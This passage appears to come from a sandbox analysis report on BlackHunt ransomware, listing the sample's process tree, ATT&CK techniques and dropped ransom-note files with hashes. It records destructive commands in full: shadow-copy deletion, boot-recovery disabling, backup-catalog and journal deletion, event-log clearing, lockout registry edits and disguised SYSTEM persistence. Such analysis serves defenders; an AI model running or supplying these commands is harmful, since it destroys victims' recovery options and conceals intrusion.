    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableChangePassword" /t REG_DWORD /d 1 /f
    3⤵
    PID:612
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
  2⤵
  PID:2608
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
    3⤵
    PID:1408
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "NoLogoff" /t REG_DWORD /d 1 /f
  2⤵
  PID:340
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "NoLogoff" /t REG_DWORD /d 1 /f
    3⤵
    PID:2392
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
  2⤵
  PID:1672
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
    3⤵
    PID:540
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableConfig" /t REG_DWORD /d 1 /f
  2⤵
  PID:1592
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableConfig" /t REG_DWORD /d 1 /f
    3⤵
    PID:900
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableSR" /t REG_DWORD /d 1 /f
  2⤵
  PID:2008
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableSR" /t REG_DWORD /d 1 /f
    3⤵
    PID:1488
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WinRE" /v "DisableSetup" /t REG_DWORD /d 1 /f
  2⤵
  PID:1756
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WinRE" /v "DisableSetup" /t REG_DWORD /d 1 /f
    3⤵
    PID:2032
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupLauncher" /t REG_DWORD /d 1 /f
  2⤵
  PID:2020
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupLauncher" /t REG_DWORD /d 1 /f
    3⤵
    PID:2176
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableRestoreUI" /t REG_DWORD /d 1 /f
  2⤵
  PID:1936
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableRestoreUI" /t REG_DWORD /d 1 /f
    3⤵
    PID:2660
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableSystemBackupUI" /t REG_DWORD /d 1 /f
  2⤵
  PID:1664
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableSystemBackupUI" /t REG_DWORD /d 1 /f
    3⤵
    PID:2152
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupUI" /t REG_DWORD /d 1 /f
  2⤵
  PID:380
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupUI" /t REG_DWORD /d 1 /f
    3⤵
    PID:2428
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 1 /f
  2⤵
  PID:772
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 1 /f
    3⤵
    PID:2076
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 1 /f
  2⤵
  PID:1484
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 1 /f
    3⤵
    PID:1908
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c SCHTASKS.exe /Create /RU "NT AUTHORITY\SYSTEM" /sc onstart /TN "Windows Critical Update" /TR "C:\Users\Admin\AppData\Local\Temp\4be7bd24d4b5f1d006cfc28a5a327a0c643b0c160f8e8f48021da8681553bff3.exe" /F
  2⤵
  PID:1464
- - C:\Windows\system32\schtasks.exe
    SCHTASKS.exe /Create /RU "NT AUTHORITY\SYSTEM" /sc onstart /TN "Windows Critical Update" /TR "C:\Users\Admin\AppData\Local\Temp\4be7bd24d4b5f1d006cfc28a5a327a0c643b0c160f8e8f48021da8681553bff3.exe" /F
    3⤵
    - Creates scheduled task(s)
    PID:2264
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=401MB
  2⤵
  PID:1524
- - C:\Windows\system32\vssadmin.exe
    vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=401MB
    3⤵
    - Enumerates connected drives
    - Interacts with shadow copies
    PID:2764
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=401MB
  2⤵
  PID:2320
- - C:\Windows\system32\vssadmin.exe
    vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=401MB
    3⤵
    - Interacts with shadow copies
    PID:2720
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=unbounded
  2⤵
  PID:2336
- - C:\Windows\system32\vssadmin.exe
    vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=unbounded
    3⤵
    - Interacts with shadow copies
    PID:2832
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=unbounded
  2⤵
  PID:2060
- - C:\Windows\system32\vssadmin.exe
    vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=unbounded
    3⤵
    - Enumerates connected drives
    - Interacts with shadow copies
    PID:520
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin.exe Delete Shadows /all /quiet
  2⤵
  PID:2756
- - C:\Windows\system32\vssadmin.exe
    vssadmin.exe Delete Shadows /all /quiet
    3⤵
    - Interacts with shadow copies
    PID:2472
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c bcdedit /set {default} recoveryenabled No
  2⤵
  PID:2944
- - C:\Windows\system32\bcdedit.exe
    bcdedit /set {default} recoveryenabled No
    3⤵
    - Modifies boot configuration data using bcdedit
    - Suspicious use of WriteProcessMemory
    PID:2692
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c bcdedit /set {default} bootstatuspolicy IgnoreAllFailures
  2⤵
  PID:2948
- - C:\Windows\system32\bcdedit.exe
    bcdedit /set {default} bootstatuspolicy IgnoreAllFailures
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:2884
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c fsutil.exe usn deletejournal /D C:
  2⤵
  PID:2140
- - C:\Windows\system32\fsutil.exe
    fsutil.exe usn deletejournal /D C:
    3⤵
    - Deletes NTFS Change Journal
    PID:2696
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wbadmin.exe delete catalog -quiet
  2⤵
  PID:2384
- - C:\Windows\system32\wbadmin.exe
    wbadmin.exe delete catalog -quiet
    3⤵
    - Deletes backup catalog
    PID:2640
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable
  2⤵
  PID:1888
- - C:\Windows\system32\schtasks.exe
    schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable
    3⤵
    PID:2616
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c fsutil usn deletejournal /D F:\
  2⤵
  PID:1048
- - C:\Windows\system32\fsutil.exe
    fsutil usn deletejournal /D F:\
    3⤵
    - Enumerates connected drives
    PID:3184
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c fsutil usn deletejournal /D C:\
  2⤵
  PID:3152
- - C:\Windows\system32\fsutil.exe
    fsutil usn deletejournal /D C:\
    3⤵
    PID:3316
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c fsutil usn deletejournal /D M:\
  2⤵
  PID:3084
- - C:\Windows\system32\fsutil.exe
    fsutil usn deletejournal /D M:\
    3⤵
    - Enumerates connected drives
    PID:3280
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wevtutil.exe cl Setup
  2⤵
  PID:3136
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl Setup
    3⤵
    - Clears Windows event logs
    - Suspicious use of AdjustPrivilegeToken
    PID:3704
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wevtutil.exe cl System
  2⤵
  PID:3608
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl System
    3⤵
    - Clears Windows event logs
    - Suspicious use of AdjustPrivilegeToken
    PID:3700
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wevtutil.exe cl Application
  2⤵
  PID:3204
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl Application
    3⤵
    - Clears Windows event logs
    - Suspicious use of AdjustPrivilegeToken
    PID:2412
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wevtutil.exe cl Security
  2⤵
  PID:2052
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl Security
    3⤵
    - Clears Windows event logs
    - Suspicious use of AdjustPrivilegeToken
    PID:3308
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wevtutil.exe cl Security /e:false
  2⤵
  PID:3684
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl Security /e:false
    3⤵
    - Clears Windows event logs
    - Suspicious use of AdjustPrivilegeToken
    PID:3404
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin.exe Delete Shadows /all /quiet
  2⤵
  PID:976
- - C:\Windows\system32\vssadmin.exe
    vssadmin.exe Delete Shadows /all /quiet
    3⤵
    - Interacts with shadow copies
    PID:2272
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c bcdedit /set {default} recoveryenabled No
  2⤵
  PID:3752
- - C:\Windows\system32\bcdedit.exe
    bcdedit /set {default} recoveryenabled No
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:3524
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c bcdedit /set {default} bootstatuspolicy IgnoreAllFailures
  2⤵
  PID:3548
- - C:\Windows\system32\bcdedit.exe
    bcdedit /set {default} bootstatuspolicy IgnoreAllFailures
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:3496
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c fsutil.exe usn deletejournal /D C:
  2⤵
  PID:3272
- - C:\Windows\system32\fsutil.exe
    fsutil.exe usn deletejournal /D C:
    3⤵
    - Deletes NTFS Change Journal
    PID:3756
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wbadmin.exe delete catalog -quiet
  2⤵
  PID:3720
- - C:\Windows\system32\wbadmin.exe
    wbadmin.exe delete catalog -quiet
    3⤵
    - Deletes backup catalog
    PID:3824
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable
  2⤵
  PID:3564
- - C:\Windows\system32\schtasks.exe
    schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable
    3⤵
    PID:3800
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c REG ADD "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "legalnoticecaption" /t REG_SZ /d "WARNING WARNING WARNING. " /f
  2⤵
  PID:3596
- - C:\Windows\system32\reg.exe
    REG ADD "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "legalnoticecaption" /t REG_SZ /d "WARNING WARNING WARNING. " /f
    3⤵
    PID:4068
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c REG ADD "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "legalnoticetext" /t REG_SZ /d " Your Network Infected With BlackHunt Ransomware Team. ALL Your important Files Encrypted and Stolen , Do You Want Your Files? read [ReadMe] Files carefully and contact us by [[email protected]] AND [[email protected]] " /f
  2⤵
  PID:3836
- - C:\Windows\system32\reg.exe
    REG ADD "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "legalnoticetext" /t REG_SZ /d " Your Network Infected With BlackHunt Ransomware Team. ALL Your important Files Encrypted and Stolen , Do You Want Your Files? read [ReadMe] Files carefully and contact us by [[email protected]] AND [[email protected]] " /f
    3⤵
    PID:3828
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c SCHTASKS.exe /Delete /TN "Windows Critical Update" /F
  2⤵
  PID:3776
- - C:\Windows\system32\schtasks.exe
    SCHTASKS.exe /Delete /TN "Windows Critical Update" /F
    3⤵
    PID:3164
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 0 /f
  2⤵
  PID:4064
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 0 /f
    3⤵
    PID:2960
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 0 /f
  2⤵
  PID:3860
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 0 /f
    3⤵
    PID:3736
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c taskkill /IM mshta.exe /f
  2⤵
  PID:1892
- - C:\Windows\system32\taskkill.exe
    taskkill /IM mshta.exe /f
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:2696
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c notepad.exe C:\ProgramData\#BlackHunt_ReadMe.txt
  2⤵
  PID:3688
- - C:\Windows\system32\notepad.exe
    notepad.exe C:\ProgramData\#BlackHunt_ReadMe.txt
    3⤵
    PID:4032
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c C:\ProgramData\#BlackHunt_ReadMe.hta
  2⤵
  PID:552
- - C:\Windows\SysWOW64\mshta.exe
    "C:\Windows\SysWOW64\mshta.exe" "C:\ProgramData\#BlackHunt_ReadMe.hta"
    3⤵
    - Suspicious behavior: CmdExeWriteProcessMemorySpam
    PID:1868
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c ping 127.0.0.1 -n 5 > nul & del "C:\Users\Admin\AppData\Local\Temp\4be7bd24d4b5f1d006cfc28a5a327a0c643b0c160f8e8f48021da8681553bff3.exe"
  2⤵
  - Deletes itself
  PID:2588
- - C:\Windows\SysWOW64\PING.EXE
    ping 127.0.0.1 -n 5
    3⤵
    - Runs ping.exe
    PID:3932

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:1076

C:\Windows\system32\wbengine.exe
"C:\Windows\system32\wbengine.exe"
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:2128

C:\Windows\System32\vdsldr.exe
C:\Windows\System32\vdsldr.exe -Embedding
1⤵
PID:1060

C:\Windows\System32\vds.exe
C:\Windows\System32\vds.exe
1⤵
PID:2296

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Scheduled Task/Job

T1053

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

T1053

Privilege Escalation

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

T1053

Defense Evasion

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Impair Defenses

T1562

Disable or Modify Tools

T1562.001

Indicator Removal

T1070

File Deletion

T1070.004

Modify Registry

T1112

Credential Access

Discovery

Peripheral Device Discovery

T1120

Query Registry

T1012

Remote System Discovery

T1018

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Data Destruction

T1485

Defacement

T1491

Inhibit System Recovery

T1490

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Downloads

C:\MSOCache\#BlackHunt_ReadMe.txt

Filesize
684B

MD5
ec4ae40997f212bac678466c62c81e63

SHA1
c4d425062f403f2d4fcd36006c321bf30b0593e6

SHA256
8ce74cabeb5abbed054183db1ad9c40e344eed3184bf29c3702f77c9269fb0e8

SHA512
02fd52e8d18eae60ae166e5fbe837d30e6d21bb7957db3355e963af0c5f9b0043aac76734a3f08a8703d696e7073db4e676728cb7353b86e005660e2659cce03

Download Submit
C:\ProgramData\#BlackHunt_Private.key

Filesize
1KB

MD5
c36a0d5160684565bdf061d639c3b759

SHA1
32cb7da08d896e13b850558551e90c2e27165554

SHA256
cf3fab2b4c444a9a9186a81dea918f8f9cb94dbbeb7150ef2aafee2b8627f9b9

SHA512
de16164c45372423e029eb634b2895b528c545183620e5187116f4085f30d966650024b4a1d6ac2b7d99374a95e27517bc5945807dc16d6e2573835b2fcd2ee7

Download Submit
C:\ProgramData\#BlackHunt_ReadMe.hta

Filesize
12KB

MD5
1d7cec06550663c42a3ffbfe8da1c5e5

SHA1
6c3c2fa4b0884c1c0ca2a7d917ea08eb12faea07

SHA256
ff285139ba8cf0c593bf808c192b17afe63f8e945725109bd620e601198d5142

SHA512
08487862e980f2238d50243aab425f564750ee3035885f889ab08fc1dc565209c9f715106552e456cfe03f37937611ccc44e70448cd968cd30ad32ca5baada7e

Download Submit

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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Downloads